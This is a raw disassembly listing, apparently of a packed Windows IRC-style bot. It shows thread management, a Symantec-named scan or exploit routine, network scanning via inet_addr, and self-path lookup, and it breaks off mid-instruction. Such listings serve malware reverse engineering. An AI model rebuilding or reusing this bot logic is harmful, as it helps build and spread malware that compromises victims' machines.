jmp short loc_40AE78 ; --------------------------------------------------------------------------- loc_40AE65: ; CODE XREF: .packed:0040AE5Cj cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40AE78 loc_40AE73: ; CODE XREF: .packed:0040AE33j ; .packed:0040AE43j mov esi, offset a??? ; "???" loc_40AE78: ; CODE XREF: .packed:0040AE13j ; .packed:0040AE1Aj ... mov edi, [ebp+8] push esi push offset aS_4 ; "[%s]|" push 1Ch push edi call sub_41C150 xor esi, esi add esp, 10h cmp dword_42A094, esi jle short loc_40AEBC loc_40AE96: ; CODE XREF: .packed:0040AEBAj call sub_41C0B2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB1C push 1Ch push edi call sub_41C150 add esp, 14h inc esi cmp esi, dword_42A094 jl short loc_40AE96 loc_40AEBC: ; CODE XREF: .packed:0040AE94j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEC2 proc near ; CODE XREF: sub_40AF23+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch call dword_4280A8 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx cmp eax, 64h jbe short loc_40AEF0 push eax push offset aD_2 ; "[%d]" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C150 add esp, 10h loc_40AEF0: ; CODE XREF: sub_40AEC2+18j lea eax, [ebp+var_1C] push eax call sub_41B7B0 cmp eax, 2 pop ecx jbe short loc_40AF1E push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C9B0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BDC0 add esp, 18h loc_40AF1E: ; CODE XREF: sub_40AEC2+3Bj mov eax, [ebp+arg_0] leave retn sub_40AEC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF23 proc near ; CODE XREF: sub_401891+7Fp ; sub_4019F7+43p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_40AF2C: ; CODE XREF: sub_40AF23+40j cmp [ebp+arg_C], 0 jz short loc_40AF4A lea eax, aReal[esi] ; "real" push eax push [ebp+arg_C] call sub_41C840 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AF58 ; --------------------------------------------------------------------------- loc_40AF4A: ; CODE XREF: sub_40AF23+Dj mov ecx, dword_42EC24[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AF58: ; CODE XREF: sub_40AF23+25j test eax, eax jnz short loc_40AF67 add esi, 14h inc edi cmp esi, 78h jb short loc_40AF2C jmp short loc_40AF75 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: sub_40AF23+37j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42EC28[eax*4] pop ecx loc_40AF75: ; CODE XREF: sub_40AF23+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AF88 push [ebp+arg_0] call sub_40AEC2 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AF88: ; CODE XREF: sub_40AF23+58j mov eax, [ebp+arg_0] pop ebp retn sub_40AF23 endp ; =============== S U B R O U T I N E ======================================= sub_40AF8D proc near ; CODE XREF: sub_401252:loc_4015BBp ; sub_401252+3A5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_440998 loc_40AF95: ; CODE XREF: sub_40AF8D+18j cmp byte ptr [eax], 0 jz short loc_40AFA9 add eax, 234h inc edi cmp eax, offset dword_4CD998 jl short loc_40AF95 jmp short loc_40AFF4 ; --------------------------------------------------------------------------- loc_40AFA9: ; CODE XREF: sub_40AF8D+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_440998[esi] push eax call sub_41BDC0 mov eax, [esp+14h+arg_4] and dword_440B9C[esi], 0 and dword_440BA0[esi], 0 mov dword_440B98[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_440BB0[esi], 0 mov dword_440BA4[esi], eax pop esi loc_40AFF4: ; CODE XREF: sub_40AF8D+1Aj mov eax, edi pop edi retn sub_40AF8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFF8 proc near ; DATA XREF: sub_401B66+28F7o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40B04A push [ebp+var_14] call sub_40B2A3 add esp, 14h push 0 call dword_4280CC ; ExitThread pop edi pop esi sub_40AFF8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B04A proc near ; CODE XREF: sub_40AFF8+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_432A14 push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h xor edi, edi mov esi, offset dword_440998 loc_40B074: ; CODE XREF: sub_40B04A+78j cmp byte ptr [esi], 0 jz short loc_40B0B5 cmp [ebp+arg_C], 0 jnz short loc_40B088 cmp dword ptr [esi+204h], 0 jnz short loc_40B0B5 loc_40B088: ; CODE XREF: sub_40B04A+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_41C056 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 24h loc_40B0B5: ; CODE XREF: sub_40B04A+2Dj ; sub_40B04A+3Cj add esi, 234h inc edi cmp esi, offset dword_4CD998 jl short loc_40B074 pop edi pop esi leave retn sub_40B04A endp ; =============== S U B R O U T I N E ======================================= sub_40B0C8 proc near ; CODE XREF: sub_401B66+7A3Fp ; sub_40B150+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B14A cmp esi, 400h jge short loc_40B14A imul esi, 234h push edi push ebx lea edi, dword_440BAC[esi] push dword ptr [edi] call dword_4280AC ; TerminateThread cmp [edi], ebx jz short loc_40B0FA inc ebp loc_40B0FA: ; CODE XREF: sub_40B0C8+2Fj mov [edi], ebx lea edi, dword_440BA0[esi] mov dword_440B98[esi], ebx mov dword_440B9C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B11B push eax call sub_41A178 pop ecx loc_40B11B: ; CODE XREF: sub_40B0C8+4Aj mov [edi], ebx lea edi, dword_440BA4[esi] mov byte ptr dword_440998[esi], bl mov byte_440BB0[esi], bl push dword ptr [edi] call dword_4CDCFC ; closesocket lea esi, dword_440BA8[esi] mov [edi], ebx push dword ptr [esi] call dword_4CDCFC ; closesocket mov [esi], ebx pop edi loc_40B14A: ; CODE XREF: sub_40B0C8+Dj ; sub_40B0C8+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B0C8 endp ; =============== S U B R O U T I N E ======================================= sub_40B150 proc near ; CODE XREF: sub_401132+18p ; sub_401252:loc_40187Dp ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_440998 loc_40B15C: ; CODE XREF: sub_40B150+2Aj cmp byte ptr [esi], 0 jz short loc_40B16D push edi call sub_40B0C8 test eax, eax pop ecx jz short loc_40B16D inc ebx loc_40B16D: ; CODE XREF: sub_40B150+Fj ; sub_40B150+1Aj add esi, 234h inc edi cmp esi, offset dword_4CD998 jl short loc_40B15C pop edi mov eax, ebx pop esi pop ebx retn sub_40B150 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B182 proc near ; CODE XREF: sub_401B66+412Bp ; sub_401B66+4279p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_440B9C loc_40B196: ; CODE XREF: sub_40B182+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B1B8 test edi, edi jle short loc_40B1AA cmp [esi], edi jz short loc_40B1AA cmp ebx, edi jnz short loc_40B1B8 loc_40B1AA: ; CODE XREF: sub_40B182+1Ej ; sub_40B182+22j push ebx call sub_40B0C8 test eax, eax pop ecx jz short loc_40B1B8 inc [ebp+var_4] loc_40B1B8: ; CODE XREF: sub_40B182+1Aj ; sub_40B182+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CDB9C jl short loc_40B196 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B182 endp ; =============== S U B R O U T I N E ======================================= sub_40B1CF proc near ; CODE XREF: sub_401B66+8E3p ; sub_401B66+1C72p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_440B98 loc_40B1D6: ; CODE XREF: sub_40B1CF+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B1DF inc eax loc_40B1DF: ; CODE XREF: sub_40B1CF+Dj add ecx, 234h cmp ecx, offset dword_4CDB98 jl short loc_40B1D6 retn sub_40B1CF endp ; =============== S U B R O U T I N E ======================================= sub_40B1EE proc near ; CODE XREF: sub_401B66+235Ap arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_440B98 push esi loc_40B1F8: ; CODE XREF: sub_40B1EE+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B211 add ecx, 234h inc edx cmp ecx, offset dword_4CDB98 jl short loc_40B1F8 pop esi retn ; --------------------------------------------------------------------------- loc_40B211: ; CODE XREF: sub_40B1EE+10j mov eax, edx pop esi retn sub_40B1EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B215 proc near ; CODE XREF: sub_401B66+11B1p ; sub_401B66+11CFp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B22E push [ebp+arg_1C] call sub_41BF49 pop ecx loc_40B22E: ; CODE XREF: sub_40B215+Ej push eax push [ebp+arg_18] call sub_40B182 pop ecx test eax, eax pop ecx jle short loc_40B25A push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C056 add esp, 14h jmp short loc_40B274 ; --------------------------------------------------------------------------- loc_40B25A: ; CODE XREF: sub_40B215+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C056 add esp, 10h loc_40B274: ; CODE XREF: sub_40B215+43j cmp [ebp+arg_C], 0 jnz short loc_40B294 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_40B294: ; CODE XREF: sub_40B215+63j lea eax, [ebp+var_200] push eax call sub_4157A5 pop ecx leave retn sub_40B215 endp ; =============== S U B R O U T I N E ======================================= sub_40B2A3 proc near ; CODE XREF: sub_401891+154p ; sub_40AFF8+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_440BAC[eax], ecx mov dword_440B98[eax], ecx mov dword_440B9C[eax], ecx mov dword_440BA0[eax], ecx mov dword_440BA4[eax], ecx mov dword_440BA8[eax], ecx mov byte ptr dword_440998[eax], cl mov byte_440BB0[eax], cl retn sub_40B2A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2E0 proc near ; CODE XREF: sub_401B66+7CC6p ; sub_40B408+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_40B342 ; --------------------------------------------------------------------------- loc_40B2EC: ; CODE XREF: sub_40B2E0+66j cmp eax, 1 jnz short loc_40B353 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B353 cmp cl, 2Ah jz short loc_40B32B cmp cl, 3Fh jz short loc_40B310 cmp cl, 5Bh jz short loc_40B315 xor eax, eax cmp cl, dl setz al loc_40B310: ; CODE XREF: sub_40B2E0+22j inc [ebp+arg_4] jmp short loc_40B33E ; --------------------------------------------------------------------------- loc_40B315: ; CODE XREF: sub_40B2E0+27j lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B374 mov esi, [ebp+arg_0] jmp short loc_40B33C ; --------------------------------------------------------------------------- loc_40B32B: ; CODE XREF: sub_40B2E0+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B408 mov esi, [ebp+arg_0] dec esi loc_40B33C: ; CODE XREF: sub_40B2E0+49j pop ecx pop ecx loc_40B33E: ; CODE XREF: sub_40B2E0+33j inc esi mov [ebp+arg_0], esi loc_40B342: ; CODE XREF: sub_40B2E0+Aj mov cl, [esi] test cl, cl jnz short loc_40B2EC jmp short loc_40B353 ; --------------------------------------------------------------------------- loc_40B34A: ; CODE XREF: sub_40B2E0+76j cmp eax, 1 jnz short loc_40B36F inc esi mov [ebp+arg_0], esi loc_40B353: ; CODE XREF: sub_40B2E0+Fj ; sub_40B2E0+18j ... cmp byte ptr [esi], 2Ah jz short loc_40B34A cmp eax, 1 jnz short loc_40B36F mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B36F cmp byte ptr [esi], 0 jnz short loc_40B36F xor eax, eax inc eax jmp short loc_40B371 ; --------------------------------------------------------------------------- loc_40B36F: ; CODE XREF: sub_40B2E0+6Dj ; sub_40B2E0+7Bj ... xor eax, eax loc_40B371: ; CODE XREF: sub_40B2E0+8Dj pop esi pop ebp retn sub_40B2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B374 proc near ; CODE XREF: sub_40B2E0+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B395 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B395: ; CODE XREF: sub_40B374+19j push ebx push esi loc_40B397: ; CODE XREF: sub_40B374+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B3A5 cmp [ebp+var_4], eax jnz short loc_40B3ED loc_40B3A5: ; CODE XREF: sub_40B374+2Aj test edi, edi jnz short loc_40B3E2 cmp bl, 2Dh jnz short loc_40B3D6 lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_40B3D6 cmp al, 5Dh jz short loc_40B3D6 cmp [ebp+var_4], edi jnz short loc_40B3D6 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B3E2 cmp bl, al jg short loc_40B3E2 mov [edx], esi jmp short loc_40B3DF ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B374+38j ; sub_40B374+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B3E2 loc_40B3DF: ; CODE XREF: sub_40B374+60j xor edi, edi inc edi loc_40B3E2: ; CODE XREF: sub_40B374+33j ; sub_40B374+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_40B397 ; --------------------------------------------------------------------------- loc_40B3ED: ; CODE XREF: sub_40B374+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B3FA mov ecx, eax sub ecx, edi mov edi, ecx loc_40B3FA: ; CODE XREF: sub_40B374+7Ej cmp edi, eax jnz short loc_40B403 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B403: ; CODE XREF: sub_40B374+88j mov eax, edi pop edi leave retn sub_40B374 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B408 proc near ; CODE XREF: sub_40B2E0+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_40B438 ; --------------------------------------------------------------------------- loc_40B422: ; CODE XREF: sub_40B408+36j mov dl, [eax] cmp dl, 3Fh jz short loc_40B433 cmp dl, 2Ah jnz short loc_40B445 cmp dl, 3Fh jnz short loc_40B436 loc_40B433: ; CODE XREF: sub_40B408+1Fj inc ecx mov [edi], ecx loc_40B436: ; CODE XREF: sub_40B408+29j inc dword ptr [esi] loc_40B438: ; CODE XREF: sub_40B408+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_40B422 jmp short loc_40B445 ; --------------------------------------------------------------------------- loc_40B442: ; CODE XREF: sub_40B408+40j inc eax mov [esi], eax loc_40B445: ; CODE XREF: sub_40B408+24j ; sub_40B408+38j cmp byte ptr [eax], 2Ah jz short loc_40B442 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_40B467 cmp [eax], bl jz short loc_40B45A xor eax, eax jmp short loc_40B4C4 ; --------------------------------------------------------------------------- loc_40B45A: ; CODE XREF: sub_40B408+4Cj cmp dl, bl jnz short loc_40B467 cmp [eax], bl jnz short loc_40B467 xor eax, eax inc eax jmp short loc_40B4C4 ; --------------------------------------------------------------------------- loc_40B467: ; CODE XREF: sub_40B408+48j ; sub_40B408+54j ... push ecx push eax call sub_40B2E0 pop ecx test eax, eax pop ecx jnz short loc_40B4AE loc_40B474: ; CODE XREF: sub_40B408+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_40B486 ; --------------------------------------------------------------------------- loc_40B47A: ; CODE XREF: sub_40B408+86j cmp cl, 5Bh jz short loc_40B490 cmp dl, bl jz short loc_40B490 inc eax mov [edi], eax loc_40B486: ; CODE XREF: sub_40B408+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_40B47A loc_40B490: ; CODE XREF: sub_40B408+75j ; sub_40B408+79j cmp [eax], bl jz short loc_40B4A5 push eax push dword ptr [esi] call sub_40B2E0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B4AA ; --------------------------------------------------------------------------- loc_40B4A5: ; CODE XREF: sub_40B408+8Aj mov [ebp+var_4], ebx xor eax, eax loc_40B4AA: ; CODE XREF: sub_40B408+9Bj cmp eax, ebx jnz short loc_40B474 loc_40B4AE: ; CODE XREF: sub_40B408+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_40B4C1 mov eax, [esi] cmp [eax], bl jnz short loc_40B4C1 mov [ebp+var_4], 1 loc_40B4C1: ; CODE XREF: sub_40B408+AAj ; sub_40B408+B0j mov eax, [ebp+var_4] loc_40B4C4: ; CODE XREF: sub_40B408+50j ; sub_40B408+5Dj pop edi pop esi pop ebx leave retn sub_40B408 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4C9 proc near ; CODE XREF: sub_401B66+2A9Cp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_432F78 push eax xor ebx, ebx call sub_41C056 cmp dword_432A90, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B53B push esi mov esi, offset dword_432A98 loc_40B4FC: ; CODE XREF: sub_40B4C9+6Fj mov eax, [esi] test eax, eax jbe short loc_40B531 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_432F6C push eax call sub_41C056 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C9B0 add esp, 1Ch loc_40B531: ; CODE XREF: sub_40B4C9+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B4FC pop esi loc_40B53B: ; CODE XREF: sub_40B4C9+2Bj push dword_4CD99C call sub_41B05C push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C056 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C9B0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_200] push eax call sub_4157A5 add esp, 38h pop edi pop ebx leave retn sub_40B4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B597 proc near ; CODE XREF: sub_401B66+2A86p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4D0764 mov ecx, dword_4D0760 push esi push dword_4CD99C lea esi, [ecx+eax] call sub_41B05C push eax push esi push dword_4D0764 lea eax, [ebp+var_200] push dword_4D0760 push offset unk_432F98 push eax call sub_41C056 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_200] push eax call sub_4157A5 add esp, 34h pop esi leave retn sub_40B597 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B602 proc near ; CODE XREF: sub_401B66+2A70p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CD99C call sub_41B05C push eax lea eax, [ebp+var_200] push dword_4D0AA0 push offset unk_432FE0 push eax call sub_41C056 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_200] push eax call sub_4157A5 add esp, 2Ch leave retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B656 proc near ; CODE XREF: sub_401B66+2A5Ap var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C2F0 push edi lea eax, [ebp+var_800] push offset dword_43302C push eax call sub_41C056 cmp dword_432A90, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B6C2 push esi mov esi, offset aSymantec ; "Symantec" loc_40B68B: ; CODE XREF: sub_40B656+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_43301C push eax call sub_41C056 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C9B0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B68B pop esi loc_40B6C2: ; CODE XREF: sub_40B656+2Dj push dword_4CD99C call sub_41B05C push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C056 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C9B0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_800] push eax call sub_4157A5 add esp, 34h pop edi leave retn sub_40B656 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B71C proc near ; DATA XREF: sub_401B66+30ADo var_3F0 = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_134 = byte ptr -134h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+var_134] push eax call dword_4CDCA4 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_432A90, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40B87B mov esi, offset dword_432A90 mov ebx, offset aSym ; "sym" loc_40B770: ; CODE XREF: sub_40B71C+159j push [ebp+var_1C] push dword ptr [esi] push [ebp+var_8] call sub_40BF0D add esp, 0Ch cmp eax, 1 jnz loc_40B86A push dword ptr [esi] lea eax, [ebp+var_134] push eax lea eax, [ebx+0Ah] push eax lea eax, [ebp+var_3F0] push offset unk_43307C push eax call sub_41C056 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409982 lea eax, [ebp+var_3F0] push eax call sub_4157A5 lea eax, [ebp+var_134] push eax lea eax, [ebp+var_1EC] push eax call sub_41C056 lea eax, [ebp+var_15C] push ebx push eax call sub_41C056 add esp, 3Ch cmp [ebp+var_A4], 0 lea eax, [ebp+var_A4] jnz short loc_40B805 lea eax, [ebp+var_124] loc_40B805: ; CODE XREF: sub_40B71C+E1j push eax lea eax, [ebp+var_1DC] push eax call sub_41C056 mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [esi] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+2Ch] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40B86A: ; CODE XREF: sub_40B71C+67j inc [ebp+arg_0] add ebx, 40h lea esi, [ebx+28h] cmp [esi], edi jnz loc_40B770 loc_40B87B: ; CODE XREF: sub_40B71C+44j push [ebp+var_4] lea eax, [ebp+var_134] push eax lea eax, [ebp+var_3F0] push offset unk_433048 push eax call sub_41C056 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409982 lea eax, [ebp+var_3F0] push eax call sub_4157A5 push [ebp+var_18] call sub_40B2A3 add esp, 2Ch push edi call dword_4280CC ; ExitThread sub_40B71C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8CE proc near ; CODE XREF: sub_401B66+2375p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B1CF test eax, eax pop ecx jle short loc_40B90A mov eax, [ebp+arg_C] push dword_4CDDA8[eax*8] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_4330CC push eax call sub_41C056 add esp, 0Ch jmp short loc_40B91D ; --------------------------------------------------------------------------- loc_40B90A: ; CODE XREF: sub_40B8CE+13j lea eax, [ebp+var_200] push offset unk_4330AC push eax call sub_41C056 pop ecx pop ecx loc_40B91D: ; CODE XREF: sub_40B8CE+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_200] push eax call sub_4157A5 add esp, 18h leave retn sub_40B8CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B945 proc near ; CODE XREF: sub_40C1BE+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BE25 shl eax, 6 xor ebx, ebx cmp dword_432A9C[eax], ebx jz loc_40BE25 push 5 call sub_40B1CF test eax, eax pop ecx jnz loc_40BBBF mov eax, dword_42A07C push edi mov esi, offset dword_4CFE64 push 104h push esi push ebx mov dword_4D0074, eax mov dword_4D0070, ebx call dword_428074 ; GetModuleFileNameA mov edi, offset byte_42A10C push 103h push edi push offset dword_4CFF68 call sub_41BDC0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CFE60, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4D00F8, eax jnz short loc_40B9F5 lea eax, [ebp+arg_10] push eax push offset dword_4D0078 call sub_41BDC0 mov dword_4D00FC, 